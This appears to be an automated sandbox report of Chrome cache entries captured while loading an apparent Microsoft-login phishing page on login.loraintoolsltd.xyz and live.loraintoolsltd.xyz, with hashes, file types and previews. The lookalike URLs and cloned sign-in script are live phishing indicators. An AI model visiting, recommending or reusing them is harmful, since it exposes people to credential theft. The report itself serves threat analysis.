Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 68

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text
Category:	downloaded
Size (bytes):	5100
Entropy (8bit):	4.38250966286928
Encrypted:	false
SSDEEP:	96:TOhlXhAP14Fkk9SRVrBAiwZFnyUXhJ0z6AqEaS6CC3tykxGVEpKOZ:TOXhAP6Fkk9SRVrKRZFnyURJ0mAqZSjq
MD5:	624E5D62E071894B90189399FE61D413
SHA1:	00561A53C2FAA244D422430B776225723651774F
SHA-256:	A376D20189CF821A4CA1E1B84AD17D76D93471AD04ABC84195C8A474D2233B77
SHA-512:	380F6FBBC5BF86AD547D1FA8B843B298656AE5636C6F3CCE8238F1E074321A1178F665CC8BDA2C1879848FB98FF57BF0ACCF5FDE8FC16A81D174F38138B4E115
Malicious:	false
Reputation:	low
URL:	https://login.loraintoolsltd.xyz/FgJIoRDm
Preview:	<!DOCTYPE html>.<html lang="en">.<head>. <meta charset="UTF-8">. <meta name="viewport" content="width=device-width, initial-scale=1.0">. <title></title>. <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.4/css/all.min.css">. <style>. body {. font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;. background-color: #f3f3f3;. color: #333;. display: flex;. flex-direction: column;. justify-content: space-between;. align-items: center;. height: 100vh;. margin: 0;. padding: 20px;. text-align: center;. }. h2 {. color: #0078d4;. margin-bottom: 8px;. font-size: 24px;. }. p {. color: #666;. margin-bottom: 10px;. font-size: 14px;. }. .small-text {. font-size: 12px;. margin-top: 5px;.

Chrome Cache Entry: 69

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 406986
Category:	dropped
Size (bytes):	116345
Entropy (8bit):	7.997378915283506
Encrypted:	true
SSDEEP:	3072:svJ27JKT4KNXDBEeFUNHE/7SVxX7RLTMMqfC4:L7KPDBEeF2HE+J5AMqfC4
MD5:	7570EB58C2BCE45B24EA431EB15D27B5
SHA1:	0DE0A6616E6BF7B045CFC456E4E3DF6760617CFA
SHA-256:	5AEE6747482DFC52A669CAED6BE1B9319536AC9514C2D7354B879F093ABB212A
SHA-512:	696D4C3765DA2936461D15C89A41F98EDED30F202C422143D921D6096D7DD6456479F48B1065398323F7DFE60B5D3452B0C3C67DD01EE041E51CFBCA9125D86D
Malicious:	false
Reputation:	low
Preview:	...........k{.H.(.}............'qz<..>.3==..G..(..../m..]kU.T......\|x....T.Z...O....T.........e..]../'.o+gp.k.........F....+#..+.{..\|X..J.U.`.F.0...W..7.Ie...J2.Y.~.$.L.8....$...P]4..yQ.P99..P?....?........I%....+^0..&p..2..<........Da...J....F.9<.7.^.+1O.0J..........h1....[....h..............u".....C%.+..\.>....T`.1....... i......8.TB(.Uh.b.{...@<y..D^.S.....n".<H.L..O..*.t........p6..\[...yCm.J.k.....b..vg....-.j.$........1....p~3.b.....n....[_c..{1WN.l~.=...........?......S.}U..g.......t..../...........\|.+...-y.X\...l.....>;."....ye.\.....h..p.f.8...[/..nd.,..O.b>.6-......c7.}.yp.c5.R6p..E...z3.......y7.d.M..K...n.h...OX.&..d.[/...ng.S.Ae..D<.GAe..&.^7......'..b...#..X..q....O.~W.M3.+b..m.>&^t.O..I.LU.;..a....&.k.$...{.{.^.....3OX.Oy8O...f.%..o..]..9....Ln-...'.....A.3y..v=l....G......i..../...--k...p..m..Y........XV...i.......;.o..zyc@..MLoy.b_.,.....5..w=..#.^..M.P.'<_.j...m..\|......0...w../...>\...l.>.....h...q>.w...ZM[...

Chrome Cache Entry: 70

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 79 x 86, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	4.002585360278504
Encrypted:	false
SSDEEP:	3:yionv//thPl6pt/+q5lpshkxl/k4E08up:6v/lhPaWClChk7Tp
MD5:	6B7690E95C6C52191D151EA68681F206
SHA1:	9D51BC6C80FE4B8DB61EBD6520860619E37CF4AB
SHA-256:	9C8D245031B6F5452B051C2B8E427DD619992EFCBC3BDD027C7ACD1D3E12B3C4
SHA-512:	C9C510B7EEB4BF9A11F395D932B7037AEEB080FA2C8D447E0AD0F33D89C81C9BFE231D27F5271AAB51A227162E550DE7325DC3C6A6FCBE040DD2E83E67120005
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...O...V.......\.....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 71

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 190152
Category:	downloaded
Size (bytes):	61052
Entropy (8bit):	7.996159932827634
Encrypted:	true
SSDEEP:	1536:HQaq1Q7XOos5ZBIp+1Zr52IGmCJijm1qAxTe9wzf:fq1HoUBIpU5TG7JSmwuTe+b
MD5:	C1E82BF71ADD622AD0F3BF8572F634FC
SHA1:	6CA863D4CAB96669202548D301693B3F5F80B0D5
SHA-256:	BA48AF15D297DB450DC4870242482145ADDB2D18375A4871C490429E2DC5464A
SHA-512:	820A7F8A0C8EA33A8FE1E90CDC35F45DC1E143E836B0D8EA047E1E312F8CAEC72CDEE4E7DB54760A4D749CD0ACFE103A27E39A9A56EB2D704E448A67B0D0C079
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/oneDs_f2e0f4a029670f10d892.js
Preview:	...........iw.F.0.....'W...4)/qH#..D.L.EK...................().}.{..@.z........Qz.,..Ox.....i4..S.&.p......9..W....);a.].a....Y......Y<,.n..."`Is....5....P..\|.-..x1.F...@...yRlG.O..5.Q.\|.gy.c.^....r.EC.....xd.oL..$./..\|3.......r^.j.}...M... )x.D.....%.....B..t....vZ....2L......px.G.1..lZYh...$.....,.../.a..;Q...._..#.....e.T.:trA_.0.:.f...........(I.x?.S...<7...o..0.`r.x.+.2..o+...4/..vzY7.C'.....!.r..4n....]P.+a..........._.8,..G>...{.4B....o.9.....r......X3..U.....'.0.@...lrX....r.W\e...].}....(.l......=........3....S..........^=D..[.zw6..e...<WQ.w.(.X..S....>.^.....^B..O-.(..U.R;h..v.......4.Dc .?..z....r.._.Y......M.a.?,...?..U.....OF.w\h$.Q..5....Q.Oj ....5U..8..Y......gYZM....y..OrY.z]B..y..;o.....oT.r...H..{K...Y&Q.........W....N4.......].0m..m........E.bc..~..e.. .nzS.i3^......).,Y}.=1H...... V...g.)....X..G...C....@o,.i.~...as...ehEH....u9l.2...y\J.?.(.I.q%..F#..D../>pr$...,...m.6..:,<s..~S.fl;k.'<..}z.Y.

Chrome Cache Entry: 72

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 3651
Category:	downloaded
Size (bytes):	1435
Entropy (8bit):	7.8613342322590265
Encrypted:	false
SSDEEP:	24:XjtSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcNX:XgDkpyVCGca4b//9z5oPXdbl9688qRzY
MD5:	9F368BC4580FED907775F31C6B26D6CF
SHA1:	E393A40B3E337F43057EEE3DE189F197AB056451
SHA-256:	7ECBBA946C099539C3D9C03F4B6804958900E5B90D48336EEA7E5A2ED050FA36
SHA-512:	0023B04D1EEC26719363AED57C95C1A91244C5AFF0BB53091938798FB16E230680E1F972D166B633C1D2B314B34FE0B9D7C18442410DB7DD6024E279AAFD61B0
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/cmg/1
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1592
Category:	downloaded
Size (bytes):	621
Entropy (8bit):	7.673946009263606
Encrypted:	false
SSDEEP:	12:Xp7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:Xp6qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	4761405717E938D7E7400BB15715DB1E
SHA1:	76FED7C229D353A27DB3257F5927C1EAF0AB8DE9
SHA-256:	F7ED91A1DAB5BB2802A7A3B3890DF4777588CCBE04903260FBA83E6E64C90DDF
SHA-512:	E8DAC6F81EB4EBA2722E9F34DAF9B99548E5C40CCA93791FBEDA3DEBD8D6E401975FC1A75986C0E7262AFA1B9D1475E1008A89B92C8A7BEC84D8A917F221B4A2
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 142534
Category:	downloaded
Size (bytes):	49954
Entropy (8bit):	7.99493321471063
Encrypted:	true
SSDEEP:	1536:vr2T/4LxF17O6lJgX3ys65sBcY++i0RumwzV:Cz4LL1imP56m+i+umwzV
MD5:	E16AC075AC754DBD1CF969508220E30D
SHA1:	69A91FF7A1C044231D6D28B4DD4C6AD3D34F2A50
SHA-256:	E8AC3DCEF9E67CC776542A40C71B719D41668DF41D294C1A49A5AD23C5A5B5EC
SHA-512:	12C4E6E5BD999E7BF431DCA707DA4BB5193D2795DD139DCAFC38CAFA757A88F75068D3F2821840068247B9F6CFB55178EF223CDB3349444E622EA4A8E69700A6
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/BssoInterrupt_Core_eaF-Fe71oZcWvr096r6xEw2.js
Preview:	...........m[.8.0........OL....;w.....a.....\N.......h.r~........=........,..JU.......T~.l..?..y..2.X9.\|xvP9...TN.......?.....qe.OE.~Gn,.J.T....0......r..#.V&Qx_I.De.._.8.+S?N..HL..J......%O..S........(=.gO.\|.T.0......6.. ..y....x....8..p.T"1...\|$.Cz..V.D%.Ie.F....^."..5....c...?..T8..._..b.gs.4....S]kDZ..7.J.V..l}..?.....c...g.A...8.......8.VB......^..f..O.... ...`...H.{.$. OP..S..AC.gVE.I8..).-U.....R...A..%.T[...Fc{..49..If...y.'w.Q}..oz..v.....W...pp..%..G.+.r:.A......[.:..s.?U......_............k.y0.U....+I5..0.>.Q%.".w.....O....5w..;.;.>..mr.k53r.......k.0.I.<.D......d&...c..jhE..zx.]....y\|W....i...`.. .k.P...@.Uq.\;..1............z\|.O..Y5..........XtR,....R...k3..<..\.2.>.;T..$...kj.5-.i?/..YH`!jb..Z..=.&.L..F...([..y....K5pzQ.>i.1.......0..P...@...L.".n.x..Cj?..w.:+...n..4..H.. .....S.....h....8....v.l.[M.0..q..c;.....0..*.8.......l.TM..n "..km..S.<.T..].k.+1.....P.V...4-W.C....0-/.S;.w......K.z+...DZ....=q.E.@ .Dv.z...@.d.#tE...

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 406986
Category:	downloaded
Size (bytes):	116345
Entropy (8bit):	7.997378915283506
Encrypted:	true
SSDEEP:	3072:svJ27JKT4KNXDBEeFUNHE/7SVxX7RLTMMqfC4:L7KPDBEeF2HE+J5AMqfC4
MD5:	7570EB58C2BCE45B24EA431EB15D27B5
SHA1:	0DE0A6616E6BF7B045CFC456E4E3DF6760617CFA
SHA-256:	5AEE6747482DFC52A669CAED6BE1B9319536AC9514C2D7354B879F093ABB212A
SHA-512:	696D4C3765DA2936461D15C89A41F98EDED30F202C422143D921D6096D7DD6456479F48B1065398323F7DFE60B5D3452B0C3C67DD01EE041E51CFBCA9125D86D
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_510f960da65b56e0607c.js
Preview:	...........k{.H.(.}............'qz<..>.3==..G..(..../m..]kU.T......\|x....T.Z...O....T.........e..]../'.o+gp.k.........F....+#..+.{..\|X..J.U.`.F.0...W..7.Ie...J2.Y.~.$.L.8....$...P]4..yQ.P99..P?....?........I%....+^0..&p..2..<........Da...J....F.9<.7.^.+1O.0J..........h1....[....h..............u".....C%.+..\.>....T`.1....... i......8.TB(.Uh.b.{...@<y..D^.S.....n".<H.L..O..*.t........p6..\[...yCm.J.k.....b..vg....-.j.$........1....p~3.b.....n....[_c..{1WN.l~.=...........?......S.}U..g.......t..../...........\|.+...-y.X\...l.....>;."....ye.\.....h..p.f.8...[/..nd.,..O.b>.6-......c7.}.yp.c5.R6p..E...z3.......y7.d.M..K...n.h...OX.&..d.[/...ng.S.Ae..D<.GAe..&.^7......'..b...#..X..q....O.~W.M3.+b..m.>&^t.O..I.LU.;..a....&.k.$...{.{.^.....3OX.Oy8O...f.%..o..]..9....Ln-...'.....A.3y..v=l....G......i..../...--k...p..m..Y........XV...i.......;.o..zyc@..MLoy.b_.,.....5..w=..#.^..M.P.'<_.j...m..\|......0...w../...>\...l.>.....h...q>.w...ZM[...

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 454821
Category:	downloaded
Size (bytes):	122725
Entropy (8bit):	7.997347629519925
Encrypted:	true
SSDEEP:	3072:aVYOI2atrRjlmfTIbRTQCjqYgXyIq40z3b335DfGZkbGft:JrFRxZQCqYgXytzIWGft
MD5:	9CDA699A84CA8729FAF194B8EFDDF6C0
SHA1:	804F83F5225243951178A1F785AF2B897B87ACA5
SHA-256:	A7C6A8173409765CFCAA6925CBF2CA7732ECC5B353FC8274746FA4BF4A1CABC4
SHA-512:	FA7A94976304C486A8A20C0672C8B4DEE5532099434B475B36C230498DB14DE99596B54AE95A2C9D2601EABCCDCDEE4DF5A1B21231F18E6EAD9AD453120588EB
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/ConvergedLogin_PCore_n7VKwtWYm2mBLcIKAZfQlw2.js
Preview:	...........}[.8......\&.L.....M..f...@......V....../'d?...$..........mb..V..J............2..]]W.'...WG.K............`.....~\..SV..#'f^%.aT..7..a.$,.....w..q.......O.&qe......i.\.Bu.W.t..rzY.C..j.'~...p.....J.&..N.QmS..bVY.......P9..(..qR....'h$^@z....D....2.....^."..5.fx.1.C.\|...@._...b....4....k].DZ..7.J.V^..}6.?.T.o......:.p.zn.1.....i%..B.....2..x.Z.DN.(....9..................^aq...l.sK.?.1.K2.T...Q.3.T....5..Y.Y.I2....&~....p.......C..G........?c^....\.F..Q8s.@.u.b.4..K...`_.....q\|q.?]..<>l........R...........u_.....#.c..m.}{w....,.$....N....N..p..a..0y........@..1.].......m....v..E.P..h.....8..$@....]UFz.UV.mrgG.O.j.=..+{Zs..?N..jm%.h/W.c/.-.X..h........w..%.(...:.),...J.d/}+....Lk.Z..B..Q..YVO..wX....edi....e.#?.....".U.q-..J....h4..m....i}....[..+.z.E.<mC..]X.N..4.^.....*...,..j..;.).j...N..G....X7k..@L.L...h-.p..%R?.>e.......3.O_.....T$.C..~\|)...U..!.k1=...)Y! )..;.Y.#%......{.K..?0.s_oo..%.S.i...kgr..XUC ...M.yJ.......

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	downloaded
Size (bytes):	3620
Entropy (8bit):	6.867828878374734
Encrypted:	false
SSDEEP:	48:ZumKaT5ezv47j2/ZiRDlq16x8XvEUcg777shHdpHVGJqFd:Eal647jPDlL8XvEUcg77kVGyd
MD5:	B540A8E518037192E32C4FE58BF2DBAB
SHA1:	3047C1DB97B86F6981E0AD2F96AF40CDF43511AF
SHA-256:	8737D721808655F37B333F08A90185699E7E8B9BDAAA15CDB63C8448B426F95D
SHA-512:	E3612D9E6809EC192F6E2D035290B730871C269A267115E4A5515CADB7E6E14E3DD4290A35ABAA8D14CF1FA3924DC76E11926AC341E0F6F372E9FC5434B546E5
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif
Preview:	GIF89a`.........iii!.......!.&Edited with ezgif.com online GIF maker.!..NETSCAPE2.0.....,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....`.....9..i....Q4......H..j.=.k9-5_..........j7..({.........!.......,....`.....9.......trV.......H....`.[.q6......>.. .CZ.&!.....M...!.......,....`.....8..........:......H..jJ..U..6_....../.el...q.).....!.......,....`.....9.....i..l.go.....H..".U...f......._......5......n..!.......,....`.....:..i......./.....H...5%.kE/5.........In.a..@&3.....J...!.......,....`.....9.......kr.j.....H...-.{Im5c..............@&.........!.......,....`.....9.........j..q....H...].&..\.5.........8..S..........!.......,....`.....9.......3q.g..5....H...:u..............Al..x.q.........!.......,....`.....9......\.F....z....H...zX...ov.........h3N.x4......j..!.......,....`.....9........Q.:......H....y..^...1.........n.!.F......E...!.......,....`.....8.........i,......H....*_.21.I.........%...

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	downloaded
Size (bytes):	2672
Entropy (8bit):	6.640973516071413
Encrypted:	false
SSDEEP:	48:ZaOdwduTYPpS9pZy9vDNi1miicsvrJkafMiS+MGQ09DU/X9/4Xp6m5Z9SQcq:4CIuTYPpSTc9vcPZX9/2gzQ/
MD5:	166DE53471265253AB3A456DEFE6DA23
SHA1:	17C6DF4D7CCF1FA2C9EFD716FBAE0FC2C71C8D6D
SHA-256:	A46201581A7C7C667FD42787CD1E9ADF2F6BF809EFB7596E61A03E8DBA9ADA13
SHA-512:	80978C1D262BC225A8BA1758DF546E27B5BE8D84CBCF7E6044910E5E05E04AFFEFEC3C0DA0818145EB8A917E1A8D90F4BAC833B64A1F6DE97AD3D5FC80A02308
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif
Preview:	GIF89a`............!..NETSCAPE2.0.....!.......,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....0.............<....[.\K8j.tr.g..!.......,....3............^;...\UK.]\.%.V.c...!.......,....7........`....lo...[.a..*Rw~i...!.......,....;........h.....l.G-.[K.,_XA]..'g..!.......,....?........i.....g....Z.}..)..u...F..!.......,....C...............P.,nt^.i....Xq...i..!.......,....F...........{^b....n.y..i...\C.-...!.......,....H..............R...o....h.xV!.z#...!.......,"...L.............r.jY..w~aP(.......[i...!.......,(...N.............r....w.aP.j.'.)Y..S..!.......,....H.........`......hew..9`.%z.xVeS..!.......,5...A.........`...\m.Vmtzw.}.d.%...Q..!.......,9...=.........h......3S..s.-W8m...Q..!.......,A...5.........h.....N...:..!..U..!.......,H.............h....M.x...f.i.4..!.......,O...'.........i...tp......(..!.......,X.............j...@.x....!.......,].............j..L..3em..!.......,e.............`......!.......,n..............{i..!..

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (3448), with CRLF line terminators
Category:	downloaded
Size (bytes):	3450
Entropy (8bit):	5.125465187846656
Encrypted:	false
SSDEEP:	96:3qO9I9Sz9KHULI5m4UidBGLZjsushswsosry:a2IYz95qTdBaC
MD5:	F974B49995211D97D96EE104CAE3810C
SHA1:	0B417A3E4A41DC09735DB7E2F3B97CE97AD9B4D8
SHA-256:	778E27945C736CF965EF1C9F8644350B1AFF07D7F89673520CCF34C90D850A41
SHA-512:	32ECD5A07F15290FE5D0E40EE8BA48167F718A2BB44280B692BBA7920171A8FA7D19C15B571DA669D184CFDB15C19052AA1E088CFA87B7F9D895B38431281A5F
Malicious:	false
Reputation:	low
URL:	https://live.loraintoolsltd.xyz/Me.htm?v=3
Preview:	<script type="text/javascript">!function(t,e){for(var s in e)t[s]=e[s]}(this,function(t){function e(n){if(s[n])return s[n].exports;var i=s[n]={exports:{},id:n,loaded:!1};return t[n].call(i.exports,i,i.exports,e),i.loaded=!0,i.exports}var s={};return e.m=t,e.c=s,e.p="",e(0)}([function(t,e){function s(t){for(var e=f[S],s=0,n=e.length;s<n;++s)if(e[s]===t)return!0;return!1}function n(t){if(!t)return null;for(var e=t+"=",s=document.cookie.split(";"),n=0,i=s.length;n<i;n++){var a=s[n].replace(/^\s(\w+)\s=\s*/,"$1=").replace(/(\s+$)/,"");if(0===a.indexOf(e))return a.substring(e.length)}return null}function i(t,e,s){if(t)for(var n=t.split(":"),i=null,a=0,r=n.length;a<r;++a){var c=null,S=n[a].split("$");if(0===a&&(i=parseInt(S.shift()),!i))return;var l=S.length;if(l>=1){var p=o(i,S[0]);if(!p\|\|s[p])continue;c={signInName:p,idp:"msa",isSignedIn:!0}}if(l>=3&&(c.firstName=o(i,S[1]),c.lastName=o(i,S[2])),l>=4){var f=S[3],d=f.split("\|");c.otherHashedAliases=d}if(l>=5){var h=parseInt(S[4],16);h&&(c.

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	28
Entropy (8bit):	4.307354922057605
Encrypted:	false
SSDEEP:	3:8Kiun9ks:8Kiun2s
MD5:	9F9FA94F28FE0DE82BC8FD039A7BDB24
SHA1:	6FE91F82974BD5B101782941064BCB2AFDEB17D8
SHA-256:	9A37FDC0DBA8B23EB7D3AA9473D59A45B3547CF060D68B4D52253EE0DA1AF92E
SHA-512:	34946EF12CE635F3445ED7B945CF2C272EF7DD9482DA6B1A49C9D09A6C9E111B19B130A3EEBE5AC0CCD394C523B54DD7EB9BF052168979A9E37E7DB174433F64
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISFwnC6eMQaPXnYhIFDdFbUVISBQ1Xevf9?alt=proto
Preview:	ChIKBw3RW1FSGgAKBw1Xevf9GgA=

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 113769
Category:	downloaded
Size (bytes):	35170
Entropy (8bit):	7.993096534744333
Encrypted:	true
SSDEEP:	768:K+LvEzA9nny7u0zF35Hm4ngomu6yeLDKDnccqmcmHvVVPCLVf:ny7f5GpuheL4htv3Pkf
MD5:	171A4DD9400708B88724B57D62B24A6A
SHA1:	9C6F1303B8F02FCE18D20EC9CADA11D38D0C4B37
SHA-256:	EA00750636C11DBD4FA3ACB1B3CDCBAE3EFA43F6B6C3753444B6D6A242AE9336
SHA-512:	5B13B63912B34E3EEEDD8DA5953B869A83DF82FFD2A8D737AA81DC984F1811800A534F340C48041DA803C25B6B8F5605EA8D003B6A09A1874408F95A710F5126
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_cc2c59f5ef2c09e14b08.js
Preview:	...........kC.H.0......e....0.pX..Iv3..\f..0YY.m..e$.K..o...j..g.3.lpW.......[..Y.?k.Y.......8~.a..../_.;]{.............v...0..q.Dk.w...h-....Z<..l.fA..k3.7..dm....b..-...(,.$...4...f...e...AV..z.mA....O.9........k..h-.......<Z[.GQ.v3....Oq..y:..(..k.$_...._..h-...q..S.ck.=.T......Sq@.:.A.c.(....SDq..Ac.t..m.$Lc....Z...K...O<....f9..p...0Z..3.<...$YK.x.F......v....nm..s$...&..dQ4.......n-.-.......E.XD..-5~...f.....t...-_.....fsg...8kZ..\|.{{....p+Lg.t9I..P./ap......o9Wx.._{....k..,...............................7.\|..t...Ax.7..b..v..v.m-...~v...:....r..._........,...A........z.....\|..t.. [.C.....{...~..c......ua...~.v<.I..P#._{{}._.......Km...eR....u?GY..h..}..gAv...<.l.Z...#.....:P?Q..."..........,.D...I<._.'..-..=..;.>.C_..#.....D[0.Y..*...M.....{.YT,...x..SQ/......N<`...\|._.k....0)......+.Z..4...M. ...i...`.ml..-X.E.....d.. .}.e4.{6hz^..}....@....W.1...d8...>.@.....(.'[..`..A..?...yL.\|..QTF...-.='S@.Q.sM.`...}.t..$..y^..0J.kC.S...U.

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48120)
Category:	downloaded
Size (bytes):	48121
Entropy (8bit):	5.399559475473033
Encrypted:	false
SSDEEP:	768:1CbU/4ruPh5qaq75KvO8fV9/KFHk7z6ybMJhTBsgVX2GwDBsjY1L8ep7K1oiSJvU:QruPh5qaq7gGwV9ygWyb42GQsp
MD5:	240198B7133FAF43160703113AA2F601
SHA1:	AB61FEDDAE321268BD84839B8908E611E9300AFD
SHA-256:	401258036014BCC401F7894FD5ACC7D6BA31CDF3162C1D55EBB219D908BCF496
